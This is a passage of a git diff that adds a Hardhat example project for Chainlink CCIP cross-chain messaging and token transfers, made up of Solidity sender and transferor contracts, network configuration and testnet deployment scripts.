+    /// @notice Constructor initializes the contract with the router address.
+    /// @param _router The address of the router contract.
+    /// @param _link The address of the link contract.
+    constructor(address _router, address _link) {
+        s_router = IRouterClient(_router);
+        s_linkToken = LinkTokenInterface(_link);
+    }
+
+    /// @notice Sends data to receiver on the destination chain.
+    /// @dev Assumes your contract has sufficient LINK.
+    /// @param destinationChainSelector The identifier (aka selector) for the destination blockchain.
+    /// @param receiver The address of the recipient on the destination blockchain.
+    /// @param text The string text to be sent.
+    /// @return messageId The ID of the message that was sent.
+    function sendMessage(
+        uint64 destinationChainSelector,
+        address receiver,
+        string calldata text
+    ) external onlyOwner returns (bytes32 messageId) {
+        // Create an EVM2AnyMessage struct in memory with necessary information for sending a cross-chain message
+        Client.EVM2AnyMessage memory evm2AnyMessage = Client.EVM2AnyMessage({
+            receiver: abi.encode(receiver), // ABI-encoded receiver address
+            data: abi.encode(text), // ABI-encoded string
+            tokenAmounts: new Client.EVMTokenAmount[](0), // Empty array indicating no tokens are being sent
+            extraArgs: Client._argsToBytes(
+                // Additional arguments, setting gas limit
+                Client.EVMExtraArgsV1({gasLimit: 200_000})
+            ),
+            // Set the feeToken  address, indicating LINK will be used for fees
+            feeToken: address(s_linkToken)
+        });
+
+        // Get the fee required to send the message
+        uint256 fees = s_router.getFee(
+            destinationChainSelector,
+            evm2AnyMessage
+        );
+
+        if (fees > s_linkToken.balanceOf(address(this)))
+            revert NotEnoughBalance(s_linkToken.balanceOf(address(this)), fees);
+
+        // approve the Router to transfer LINK tokens on contract's behalf. It will spend the fees in LINK
+        s_linkToken.approve(address(s_router), fees);
+
+        // Send the message through the router and store the returned message ID
+        messageId = s_router.ccipSend(destinationChainSelector, evm2AnyMessage);
+
+        // Emit an event with message details
+        emit MessageSent(
+            messageId,
+            destinationChainSelector,
+            receiver,
+            text,
+            address(s_linkToken),
+            fees
+        );
+
+        // Return the message ID
+        return messageId;
+    }
+}
diff --git a/Example11-react-express-hardhat/contracts/SimpleToken.sol b/basic/80-crossChainTransfer/chainlinkCCIP/contracts/SimpleToken.sol
similarity index 100%
rename from Example11-react-express-hardhat/contracts/SimpleToken.sol
rename to basic/80-crossChainTransfer/chainlinkCCIP/contracts/SimpleToken.sol
diff --git a/basic/80-crossChainTransfer/chainlinkCCIP/contracts/TokenTransferor.sol b/basic/80-crossChainTransfer/chainlinkCCIP/contracts/TokenTransferor.sol
new file mode 100644
index 000000000..bcfa7a8e5
--- /dev/null
+++ b/basic/80-crossChainTransfer/chainlinkCCIP/contracts/TokenTransferor.sol
@@ -0,0 +1,221 @@
+// SPDX-License-Identifier: MIT
+pragma solidity 0.8.19;
+
+import {IRouterClient} from '@chainlink/contracts-ccip/src/v0.8/ccip/interfaces/IRouterClient.sol';
+import {OwnerIsCreator} from '@chainlink/contracts-ccip/src/v0.8/shared/access/OwnerIsCreator.sol';
+import {Client} from '@chainlink/contracts-ccip/src/v0.8/ccip/libraries/Client.sol';
+import {IERC20} from '@chainlink/contracts-ccip/src/v0.8/vendor/openzeppelin-solidity/v4.8.3/contracts/token/ERC20/IERC20.sol';
+import {SafeERC20} from '@chainlink/contracts-ccip/src/v0.8/vendor/openzeppelin-solidity/v4.8.3/contracts/token/ERC20/utils/SafeERC20.sol';
+
+/**
+ * THIS IS AN EXAMPLE CONTRACT THAT USES HARDCODED VALUES FOR CLARITY.
+ * THIS IS AN EXAMPLE CONTRACT THAT USES UN-AUDITED CODE.
+ * DO NOT USE THIS CODE IN PRODUCTION.
+ */
+
+/// @title - A simple contract for transferring tokens across chains.
+contract TokenTransferor is OwnerIsCreator {
+    using SafeERC20 for IERC20;
+
+    // Custom errors to provide more descriptive revert messages.
+    error NotEnoughBalance(uint256 currentBalance, uint256 calculatedFees); // Used to make sure contract has enough balance to cover the fees.
+    error NothingToWithdraw(); // Used when trying to withdraw Ether but there's nothing to withdraw.
+    error FailedToWithdrawEth(address owner, address target, uint256 value); // Used when the withdrawal of Ether fails.
+    error DestinationChainNotAllowlisted(uint64 destinationChainSelector); // Used when the destination chain has not been allowlisted by the contract owner.
+    error InvalidReceiverAddress(); // Used when the receiver address is 0.
+    // Event emitted when the tokens are transferred to an account on another chain.
+    event TokensTransferred(
+        bytes32 indexed messageId, // The unique ID of the message.
+        uint64 indexed destinationChainSelector, // The chain selector of the destination chain.
+        address receiver, // The address of the receiver on the destination chain.
+        address token, // The token address that was transferred.
+        uint256 tokenAmount, // The token amount that was transferred.
+        address feeToken, // the token address used to pay CCIP fees.
+        uint256 fees // The fees paid for sending the message.
+    );
+
+    // Mapping to keep track of allowlisted destination chains.
+    mapping(uint64 => bool) public allowlistedChains;
+
+    IRouterClient private s_router;
+
+    IERC20 private s_linkToken;
+
+    /// @notice Constructor initializes the contract with the router address.
+    /// @param _router The address of the router contract.
+    /// @param _link The address of the link contract.
+    constructor(address _router, address _link) {
+        s_router = IRouterClient(_router);
+        s_linkToken = IERC20(_link);
+    }
+
+    /// @dev Modifier that checks if the chain with the given destinationChainSelector is allowlisted.
+    /// @param _destinationChainSelector The selector of the destination chain.
+    modifier onlyAllowlistedChain(uint64 _destinationChainSelector) {
+        if (!allowlistedChains[_destinationChainSelector]) revert DestinationChainNotAllowlisted(_destinationChainSelector);
+        _;
+    }
+
+    /// @dev Modifier that checks the receiver address is not 0.
+    /// @param _receiver The receiver address.
+    modifier validateReceiver(address _receiver) {
+        if (_receiver == address(0)) revert InvalidReceiverAddress();
+        _;
+    }
+
+    /// @dev Updates the allowlist status of a destination chain for transactions.
+    /// @notice This function can only be called by the owner.
+    /// @param _destinationChainSelector The selector of the destination chain to be updated.
+    /// @param allowed The allowlist status to be set for the destination chain.
+    function allowlistDestinationChain(uint64 _destinationChainSelector, bool allowed) external onlyOwner {
+        allowlistedChains[_destinationChainSelector] = allowed;
+    }
+
+    /// @notice Transfer tokens to receiver on the destination chain.
+    /// @notice pay in LINK.
+    /// @notice the token must be in the list of supported tokens.
+    /// @notice This function can only be called by the owner.
+    /// @dev Assumes your contract has sufficient LINK tokens to pay for the fees.
+    /// @param _destinationChainSelector The identifier (aka selector) for the destination blockchain.
+    /// @param _receiver The address of the recipient on the destination blockchain.
+    /// @param _token token address.
+    /// @param _amount token amount.
+    /// @return messageId The ID of the message that was sent.
+    function transferTokensPayLINK(
+        uint64 _destinationChainSelector,
+        address _receiver,
+        address _token,
+        uint256 _amount
+    ) external onlyOwner onlyAllowlistedChain(_destinationChainSelector) validateReceiver(_receiver) returns (bytes32 messageId) {
+        // Create an EVM2AnyMessage struct in memory with necessary information for sending a cross-chain message
+        //  address(linkToken) means fees are paid in LINK
+        Client.EVM2AnyMessage memory evm2AnyMessage = _buildCCIPMessage(_receiver, _token, _amount, address(s_linkToken));
+
+        // Get the fee required to send the message
+        uint256 fees = s_router.getFee(_destinationChainSelector, evm2AnyMessage);
+
+        if (fees > s_linkToken.balanceOf(address(this))) revert NotEnoughBalance(s_linkToken.balanceOf(address(this)), fees);
+
+        // approve the Router to transfer LINK tokens on contract's behalf. It will spend the fees in LINK
+        s_linkToken.approve(address(s_router), fees);
+
+        // approve the Router to spend tokens on contract's behalf. It will spend the amount of the given token
+        IERC20(_token).approve(address(s_router), _amount);
+
+        // Send the message through the router and store the returned message ID
+        messageId = s_router.ccipSend(_destinationChainSelector, evm2AnyMessage);
+
+        // Emit an event with message details
+        emit TokensTransferred(messageId, _destinationChainSelector, _receiver, _token, _amount, address(s_linkToken), fees);
+
+        // Return the message ID
+        return messageId;
+    }
+
+    /// @notice Transfer tokens to receiver on the destination chain.
+    /// @notice Pay in native gas such as ETH on Ethereum or MATIC on Polgon.
+    /// @notice the token must be in the list of supported tokens.
+    /// @notice This function can only be called by the owner.
+    /// @dev Assumes your contract has sufficient native gas like ETH on Ethereum or MATIC on Polygon.
+    /// @param _destinationChainSelector The identifier (aka selector) for the destination blockchain.
+    /// @param _receiver The address of the recipient on the destination blockchain.
+    /// @param _token token address.
+    /// @param _amount token amount.
+    /// @return messageId The ID of the message that was sent.
+    function transferTokensPayNative(
+        uint64 _destinationChainSelector,
+        address _receiver,
+        address _token,
+        uint256 _amount
+    ) external onlyOwner onlyAllowlistedChain(_destinationChainSelector) validateReceiver(_receiver) returns (bytes32 messageId) {
+        // Create an EVM2AnyMessage struct in memory with necessary information for sending a cross-chain message
+        // address(0) means fees are paid in native gas
+        Client.EVM2AnyMessage memory evm2AnyMessage = _buildCCIPMessage(_receiver, _token, _amount, address(0));
+
+        // Get the fee required to send the message
+        uint256 fees = s_router.getFee(_destinationChainSelector, evm2AnyMessage);
+
+        if (fees > address(this).balance) revert NotEnoughBalance(address(this).balance, fees);
+
+        // approve the Router to spend tokens on contract's behalf. It will spend the amount of the given token
+        IERC20(_token).approve(address(s_router), _amount);
+
+        // Send the message through the router and store the returned message ID
+        messageId = s_router.ccipSend{value: fees}(_destinationChainSelector, evm2AnyMessage);
+
+        // Emit an event with message details
+        emit TokensTransferred(messageId, _destinationChainSelector, _receiver, _token, _amount, address(0), fees);
+
+        // Return the message ID
+        return messageId;
+    }
+
+    /// @notice Construct a CCIP message.
+    /// @dev This function will create an EVM2AnyMessage struct with all the necessary information for tokens transfer.
+    /// @param _receiver The address of the receiver.
+    /// @param _token The token to be transferred.
+    /// @param _amount The amount of the token to be transferred.
+    /// @param _feeTokenAddress The address of the token used for fees. Set address(0) for native gas.
+    /// @return Client.EVM2AnyMessage Returns an EVM2AnyMessage struct which contains information for sending a CCIP message.
+    function _buildCCIPMessage(
+        address _receiver,
+        address _token,
+        uint256 _amount,
+        address _feeTokenAddress
+    ) private pure returns (Client.EVM2AnyMessage memory) {
+        // Set the token amounts
+        Client.EVMTokenAmount[] memory tokenAmounts = new Client.EVMTokenAmount[](1);
+        tokenAmounts[0] = Client.EVMTokenAmount({token: _token, amount: _amount});
+
+        // Create an EVM2AnyMessage struct in memory with necessary information for sending a cross-chain message
+        return
+            Client.EVM2AnyMessage({
+                receiver: abi.encode(_receiver), // ABI-encoded receiver address
+                data: '', // No data
+                tokenAmounts: tokenAmounts, // The amount and type of token being transferred
+                extraArgs: Client._argsToBytes(
+                    // Additional arguments, setting gas limit to 0 as we are not sending any data
+                    Client.EVMExtraArgsV1({gasLimit: 0})
+                ),
+                // Set the feeToken to a feeTokenAddress, indicating specific asset will be used for fees
+                feeToken: _feeTokenAddress
+            });
+    }
+
+    /// @notice Fallback function to allow the contract to receive Ether.
+    /// @dev This function has no function body, making it a default function for receiving Ether.
+    /// It is automatically called when Ether is transferred to the contract without any data.
+    receive() external payable {}
+
+    /// @notice Allows the contract owner to withdraw the entire balance of Ether from the contract.
+    /// @dev This function reverts if there are no funds to withdraw or if the transfer fails.
+    /// It should only be callable by the owner of the contract.
+    /// @param _beneficiary The address to which the Ether should be transferred.
+    function withdraw(address _beneficiary) public onlyOwner {
+        // Retrieve the balance of this contract
+        uint256 amount = address(this).balance;
+
+        // Revert if there is nothing to withdraw
+        if (amount == 0) revert NothingToWithdraw();
+
+        // Attempt to send the funds, capturing the success status and discarding any return data
+        (bool sent, ) = _beneficiary.call{value: amount}('');
+
+        // Revert if the send failed, with information about the attempted transfer
+        if (!sent) revert FailedToWithdrawEth(msg.sender, _beneficiary, amount);
+    }
+
+    /// @notice Allows the owner of the contract to withdraw all tokens of a specific ERC20 token.
+    /// @dev This function reverts with a 'NothingToWithdraw' error if there are no tokens to withdraw.
+    /// @param _beneficiary The address to which the tokens will be sent.
+    /// @param _token The contract address of the ERC20 token to be withdrawn.
+    function withdrawToken(address _beneficiary, address _token) public onlyOwner {
+        // Retrieve the balance of this contract
+        uint256 amount = IERC20(_token).balanceOf(address(this));
+
+        // Revert if there is nothing to withdraw
+        if (amount == 0) revert NothingToWithdraw();
+
+        IERC20(_token).safeTransfer(_beneficiary, amount);
+    }
+}
diff --git a/basic/80-crossChainTransfer/chainlinkCCIP/hardhat.config.js b/basic/80-crossChainTransfer/chainlinkCCIP/hardhat.config.js
new file mode 100644
index 000000000..c7422905c
--- /dev/null
+++ b/basic/80-crossChainTransfer/chainlinkCCIP/hardhat.config.js
@@ -0,0 +1,79 @@
+require('@nomicfoundation/hardhat-toolbox');
+require('dotenv').config();
+const fs = require('fs');
+require('./tasks');
+
+const settings = {
+  optimizer: {
+    enabled: true,
+    runs: 200,
+  },
+};
+
+function mnemonic() {
+  return [process.env.PRIVATE_KEY];
+}
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: {
+    compilers: [
+      { version: '0.8.8', settings },
+      { version: '0.7.6', settings },
+      { version: '0.6.11', settings },
+      { version: '0.5.16', settings },
+      { version: '0.8.20', settings },
+      { version: '0.8.24', settings },
+      { version: '0.8.19', settings },
+    ],
+  },
+  etherscan: {
+    apiKey: {
+      optimisticEthereum: 'xxx',
+    },
+  },
+  networks: {
+    localhost: {
+      url: 'http://localhost:8545',
+      //gasPrice: 125000000000,  // you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    mainnet: {
+      url: 'https://mainnet.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: mnemonic(),
+    },
+    matic: {
+      url: 'https://polygon-mainnet.infura.io/v3/' + process.env.INFURA_ID,
+      accounts: mnemonic(),
+    },
+    optim: {
+      url: 'https://optimism-mainnet.infura.io/v3/' + process.env.INFURA_ID,
+      accounts: mnemonic(),
+    },
+    sepolia: {
+      url: 'https://sepolia.infura.io/v3/' + process.env.INFURA_ID,
+      accounts: mnemonic(),
+    },
+    arbitrum: {
+      url: 'https://arbitrum-mainnet.infura.io/v3/' + process.env.INFURA_ID,
+      accounts: mnemonic(),
+    },
+    mumbai: {
+      url: 'https://polygon-mumbai.infura.io/v3/' + process.env.INFURA_ID,
+      accounts: mnemonic(),
+    },
+    arbitrumSepolia: {
+      url: 'https://arbitrum-sepolia.infura.io/v3/' + process.env.INFURA_ID,
+      accounts: mnemonic(),
+      chainId: 421614,
+    },
+  },
+  mocha: {
+    timeout: 20000,
+  },
+};
diff --git a/basic/80-crossChainTransfer/chainlinkCCIP/images/1723272417165.jpg b/basic/80-crossChainTransfer/chainlinkCCIP/images/1723272417165.jpg
new file mode 100644
index 000000000..e8bedf933
Binary files /dev/null and b/basic/80-crossChainTransfer/chainlinkCCIP/images/1723272417165.jpg differ
diff --git a/basic/80-crossChainTransfer/chainlinkCCIP/images/1723272468861.jpg b/basic/80-crossChainTransfer/chainlinkCCIP/images/1723272468861.jpg
new file mode 100644
index 000000000..54fce307b
Binary files /dev/null and b/basic/80-crossChainTransfer/chainlinkCCIP/images/1723272468861.jpg differ
diff --git a/basic/80-crossChainTransfer/chainlinkCCIP/images/1723272503699.jpg b/basic/80-crossChainTransfer/chainlinkCCIP/images/1723272503699.jpg
new file mode 100644
index 000000000..884e430ed
Binary files /dev/null and b/basic/80-crossChainTransfer/chainlinkCCIP/images/1723272503699.jpg differ
diff --git a/basic/80-crossChainTransfer/chainlinkCCIP/package.json b/basic/80-crossChainTransfer/chainlinkCCIP/package.json
new file mode 100644
index 000000000..ecf57222c
--- /dev/null
+++ b/basic/80-crossChainTransfer/chainlinkCCIP/package.json
@@ -0,0 +1,11 @@
+{
+  "name": "hardhat-project",
+  "devDependencies": {
+    "@chainlink/contracts": "^0.8.0",
+    "@chainlink/contracts-ccip": "^1.4.0",
+    "@nomicfoundation/hardhat-toolbox": "^4.0.0",
+    "@nomiclabs/hardhat-etherscan": "^3.1.8",
+    "dotenv": "^16.4.5",
+    "hardhat": "^2.20.1"
+  }
+}
diff --git a/basic/80-crossChainTransfer/chainlinkCCIP/scripts/deployment.json b/basic/80-crossChainTransfer/chainlinkCCIP/scripts/deployment.json
new file mode 100644
index 000000000..f8869069a
--- /dev/null
+++ b/basic/80-crossChainTransfer/chainlinkCCIP/scripts/deployment.json
@@ -0,0 +1 @@
+{"senderAddress":"0x573CE3226d611C621f8acD77d5152BBc4852484c","receiverAddress":"0x50A19EEb2004d7BDde998002D76220121225aE01","tokenTransferorAddress":"0x187b4507897746b9902D815CeC16Acd8AEB08cd3","tokenTransferorSenderAddress":"0xd07882D07a9d196f24cda357809459f6ef3d2fDc","tokenTransferorReceiverAddress":"0xe69f0485db86366E156C6f8E2Cf8EE4eAD3c9B93"}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/chainlinkCCIP/scripts/sendCrossChainData/1-deploySenderOnSepolia.js b/basic/80-crossChainTransfer/chainlinkCCIP/scripts/sendCrossChainData/1-deploySenderOnSepolia.js
new file mode 100644
index 000000000..d07a4088d
--- /dev/null
+++ b/basic/80-crossChainTransfer/chainlinkCCIP/scripts/sendCrossChainData/1-deploySenderOnSepolia.js
@@ -0,0 +1,31 @@
+const { ethers } = require('hardhat');
+const { deployContract, saveRedpacketDeployment, verifyContract } = require('../../utils');
+
+const sepoliaRouter = '0x0BF3dE8c5D3e8A2B34D2BEeB17ABfCeBaf363A59'; //  Sepolia testnet
+const linkTokenAddress = '0x779877A7B0D9E8603169DdbD7836e478b4624789';
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+
+  console.log('Deploying contracts with the account:', deployer.address);
+
+  console.log('Account balance:', await ethers.provider.getBalance(deployer.address));
+
+  // for sepolia, the route address and LINK address are fixed, see: https://docs.chain.link/ccip/getting-started
+  const sender = await deployContract('Sender', [sepoliaRouter, linkTokenAddress], deployer);
+
+  console.log('Sender address:', sender.target);
+
+  saveRedpacketDeployment({
+    senderAddress: sender.target,
+  });
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/80-crossChainTransfer/chainlinkCCIP/scripts/sendCrossChainData/2-transferLinkToSenderOnSepolia.js b/basic/80-crossChainTransfer/chainlinkCCIP/scripts/sendCrossChainData/2-transferLinkToSenderOnSepolia.js
new file mode 100644
index 000000000..e75bad693
--- /dev/null
+++ b/basic/80-crossChainTransfer/chainlinkCCIP/scripts/sendCrossChainData/2-transferLinkToSenderOnSepolia.js
@@ -0,0 +1,26 @@
+const { ethers } = require('hardhat');
+const { readRedpacketDeployment } = require('../../utils');
+
+const linkTokenAddress = '0x779877A7B0D9E8603169DdbD7836e478b4624789';
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+  const deployment = readRedpacketDeployment();
+
+  // transfer link to Sender
+  // link token address is fixed in sepolia
+  const linkToken = await ethers.getContractAt('SimpleToken', linkTokenAddress, deployer);
+  let recepit = await linkToken.transfer(deployment.senderAddress, ethers.parseEther('0.1')); // 0.1 link
+  await recepit.wait();
+
+  console.log('transfer 0.1 link token successfully');
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/80-crossChainTransfer/chainlinkCCIP/scripts/sendCrossChainData/3-deployReceiverOnMumbai.js b/basic/80-crossChainTransfer/chainlinkCCIP/scripts/sendCrossChainData/3-deployReceiverOnMumbai.js
new file mode 100644
index 000000000..d71e32d64
--- /dev/null
+++ b/basic/80-crossChainTransfer/chainlinkCCIP/scripts/sendCrossChainData/3-deployReceiverOnMumbai.js
@@ -0,0 +1,30 @@
+const { ethers } = require('hardhat');
+const { deployContract, saveRedpacketDeployment } = require('../../utils');
+
+const mumbaiRouter = '0x1035CabC275068e0F4b745A29CEDf38E13aF41b1';
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+
+  console.log('Deploying contracts with the account:', deployer.address);
+
+  console.log('Account balance:', await ethers.provider.getBalance(deployer.address));
+
+  // for sepolia, the route address and LINK address are fixed, see: https://docs.chain.link/ccip/getting-started
+  const receiver = await deployContract('Receiver', [mumbaiRouter], deployer);
+
+  console.log('Receiver address:', receiver.target);
+
+  saveRedpacketDeployment({
+    receiverAddress: receiver.target,
+  });
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/80-crossChainTransfer/chainlinkCCIP/scripts/sendCrossChainData/4-sendCrossChainDataOnSepolia_PayByLinkToken.js b/basic/80-crossChainTransfer/chainlinkCCIP/scripts/sendCrossChainData/4-sendCrossChainDataOnSepolia_PayByLinkToken.js
new file mode 100644
index 000000000..6cd3978ef
--- /dev/null
+++ b/basic/80-crossChainTransfer/chainlinkCCIP/scripts/sendCrossChainData/4-sendCrossChainDataOnSepolia_PayByLinkToken.js
@@ -0,0 +1,36 @@
+const { ethers } = require('hardhat');
+const { readRedpacketDeployment, saveRedpacketDeployment } = require('../../utils');
+
+const destinationChainSelector = '12532609583862916517';
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+  const deployment = readRedpacketDeployment();
+
+  // transfer link to Sender
+  // link token address is fixed in sepolia
+  const sender = await ethers.getContractAt('Sender', deployment.senderAddress, deployer);
+
+  let recepit = await sender.sendMessage(ethers.toBigInt(destinationChainSelector), deployment.receiverAddress, 'Hello World!!!!!');
+  await recepit.wait();
+  console.log('send successfully, and the hash is: ', recepit.hash);
+
+  saveRedpacketDeployment({
+    ccipCrossChainDataHash: recepit.hash,
+  });
+
+  console.log(
+    'send cross chain data successfully. please be patient, it may takes about 15 minutes to finalize cross chain data, and you can check the result by visiting: https://ccip.chain.link/'
+  );
+
+  // todo: get finalizing result by via GET request
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/80-crossChainTransfer/chainlinkCCIP/scripts/sendCrossChainData/5-receiveCrossChainDataOnMumbai.js b/basic/80-crossChainTransfer/chainlinkCCIP/scripts/sendCrossChainData/5-receiveCrossChainDataOnMumbai.js
new file mode 100644
index 000000000..ff673b72a
--- /dev/null
+++ b/basic/80-crossChainTransfer/chainlinkCCIP/scripts/sendCrossChainData/5-receiveCrossChainDataOnMumbai.js
@@ -0,0 +1,30 @@
+const { ethers }  = require('hardhat');
+const {
+  readRedpacketDeployment,
+} = require("../../utils");
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+  const deployment = readRedpacketDeployment();
+
+  // console.log(ethers)
+
+  // transfer link to Sender
+  // link token address is fixed in sepolia
+  const receiver = await ethers.getContractAt('Receiver', deployment.receiverAddress, deployer);
+
+  let {messageId,text} = await receiver.getLastReceivedMessageDetails() 
+  console.log(`messageId: ${messageId}, text: ${text}`)
+
+  console.log("receive cross chain data successfully")
+
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  // .then(() => process.exit(0))
+  // .catch((error) => {
+  //   console.error(error);
+  //   process.exit(1);
+  // });
diff --git a/basic/80-crossChainTransfer/chainlinkCCIP/scripts/sendCrossChainToken/1-deployTokenTransferorOnSepolia.js b/basic/80-crossChainTransfer/chainlinkCCIP/scripts/sendCrossChainToken/1-deployTokenTransferorOnSepolia.js
new file mode 100644
index 000000000..280c8595b
--- /dev/null
+++ b/basic/80-crossChainTransfer/chainlinkCCIP/scripts/sendCrossChainToken/1-deployTokenTransferorOnSepolia.js
@@ -0,0 +1,38 @@
+const { ethers } = require('hardhat');
+const { deployContract, saveRedpacketDeployment, verifyContract } = require('../../utils');
+
+const sepoliaRouter = '0x0BF3dE8c5D3e8A2B34D2BEeB17ABfCeBaf363A59'; //  Sepolia testnet
+const linkTokenAddress = '0x779877A7B0D9E8603169DdbD7836e478b4624789';
+const destinationChainSelector = '12532609583862916517'; // mumbai
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+
+  console.log('Deploying contracts with the account:', deployer.address);
+
+  console.log('Account balance:', await ethers.provider.getBalance(deployer.address));
+
+  // for sepolia, the route address and LINK address are fixed, see: https://docs.chain.link/ccip/getting-started
+  const tokenTransferor = await deployContract('ProgrammableTokenTransfers', [sepoliaRouter, linkTokenAddress], deployer);
+
+  console.log('deploy ProgrammableTokenTransfers successfully, and contract address is ', tokenTransferor.target);
+
+  saveRedpacketDeployment({
+    tokenTransferorSenderAddress: tokenTransferor.target,
+  });
+
+  // allowlistDestinationChain
+  let recepit = await tokenTransferor.allowlistDestinationChain(ethers.toBigInt(destinationChainSelector), true);
+  await recepit.wait();
+
+  console.log('set allowlistDestinationChain successfully');
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/80-crossChainTransfer/chainlinkCCIP/scripts/sendCrossChainToken/2-transferLinkToTokenTransferorOnSepolia.js b/basic/80-crossChainTransfer/chainlinkCCIP/scripts/sendCrossChainToken/2-transferLinkToTokenTransferorOnSepolia.js
new file mode 100644
index 000000000..8b7ca2906
--- /dev/null
+++ b/basic/80-crossChainTransfer/chainlinkCCIP/scripts/sendCrossChainToken/2-transferLinkToTokenTransferorOnSepolia.js
@@ -0,0 +1,32 @@
+const { ethers } = require('hardhat');
+const { readRedpacketDeployment } = require('../../utils');
+
+const ccipBnMTokenAddress = '0xFd57b4ddBf88a4e07fF4e34C487b99af2Fe82a05';
+const linkTokenAddress = '0x779877A7B0D9E8603169DdbD7836e478b4624789';
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+  const deployment = readRedpacketDeployment();
+
+  // transfer link & ccipBnMToken to Sender
+  // ccipBnMToken token address is fixed in sepolia
+  const ccipBnMToken = await ethers.getContractAt('SimpleToken', ccipBnMTokenAddress, deployer);
+  let recepit = await ccipBnMToken.transfer(deployment.tokenTransferorSenderAddress, ethers.parseEther('0.02'));
+  await recepit.wait();
+  console.log('transfer 0.02 ccipBnMToken token successfully');
+
+  const linkToken = await ethers.getContractAt('SimpleToken', linkTokenAddress, deployer);
+  recepit = await linkToken.transfer(deployment.tokenTransferorSenderAddress, ethers.parseEther('0.1'));
+  await recepit.wait();
+
+  console.log('transfer 0.1 link token successfully');
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/80-crossChainTransfer/chainlinkCCIP/scripts/sendCrossChainToken/3-deployTokenTransferorOnMumbai.js b/basic/80-crossChainTransfer/chainlinkCCIP/scripts/sendCrossChainToken/3-deployTokenTransferorOnMumbai.js
new file mode 100644
index 000000000..29e04aac9
--- /dev/null
+++ b/basic/80-crossChainTransfer/chainlinkCCIP/scripts/sendCrossChainToken/3-deployTokenTransferorOnMumbai.js
@@ -0,0 +1,46 @@
+const { ethers } = require('hardhat');
+const { deployContract, saveRedpacketDeployment } = require('../../utils');
+
+const { readRedpacketDeployment } = require('../../utils');
+
+const mumbaiRouter = '0x1035CabC275068e0F4b745A29CEDf38E13aF41b1';
+const numbaiLinkTokenAddress = '0x326C977E6efc84E512bB9C30f76E30c160eD06FB';
+const destinationChainSelector = '16015286601757825753'; // 目标区块链的 CCIP 链标识符。 Sepolia
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+  const deployment = readRedpacketDeployment();
+
+  console.log('Deploying contracts with the account:', deployer.address);
+
+  console.log('Account balance:', await ethers.provider.getBalance(deployer.address));
+
+  // for mumbai, the route address and LINK address are fixed, see: https://docs.chain.link/ccip/getting-started
+  const tokenTransferor = await deployContract('ProgrammableTokenTransfers', [mumbaiRouter, numbaiLinkTokenAddress], deployer);
+
+  console.log('deploy ProgrammableTokenTransfers successfully, and contract address is ', tokenTransferor.target);
+
+  saveRedpacketDeployment({
+    tokenTransferorReceiverAddress: tokenTransferor.target,
+  });
+
+  // allowlistDestinationChain
+  let recepit = await tokenTransferor.allowlistSourceChain(ethers.toBigInt(destinationChainSelector), true);
+  await recepit.wait();
+
+  console.log('set allowlistSourceChain successfully');
+
+  recepit = await tokenTransferor.allowlistSender(deployment.tokenTransferorSenderAddress, true);
+  await recepit.wait();
+
+  console.log('set allowlistSender successfully');
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/80-crossChainTransfer/chainlinkCCIP/scripts/sendCrossChainToken/4-sendCrossChainTokenOnSepolia_PayByLinkToken.js b/basic/80-crossChainTransfer/chainlinkCCIP/scripts/sendCrossChainToken/4-sendCrossChainTokenOnSepolia_PayByLinkToken.js
new file mode 100644
index 000000000..42fc1b20e
--- /dev/null
+++ b/basic/80-crossChainTransfer/chainlinkCCIP/scripts/sendCrossChainToken/4-sendCrossChainTokenOnSepolia_PayByLinkToken.js
@@ -0,0 +1,46 @@
+const { ethers } = require('hardhat');
+const { readRedpacketDeployment, saveRedpacketDeployment } = require('../../utils');
+
+const destinationChainSelector = '12532609583862916517'; // numbai
+const ccipBnMTokenAddress = '0xFd57b4ddBf88a4e07fF4e34C487b99af2Fe82a05'; // sepolia
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+  const deployment = readRedpacketDeployment();
+
+  // transfer link to Sender
+  // link token address is fixed in sepolia
+  const sender = await ethers.getContractAt('ProgrammableTokenTransfers', deployment.tokenTransferorSenderAddress, deployer);
+
+  let recepit = await sender.sendMessagePayLINK(
+    ethers.toBigInt(destinationChainSelector),
+    deployment.tokenTransferorReceiverAddress,
+    'Hello World!!!!!',
+    ccipBnMTokenAddress,
+    ethers.parseEther('0.001'),
+    {
+      // sometimes it will be fail if not specify the gasLimit
+      gasLimit: 1483507,
+    }
+  );
+  await recepit.wait();
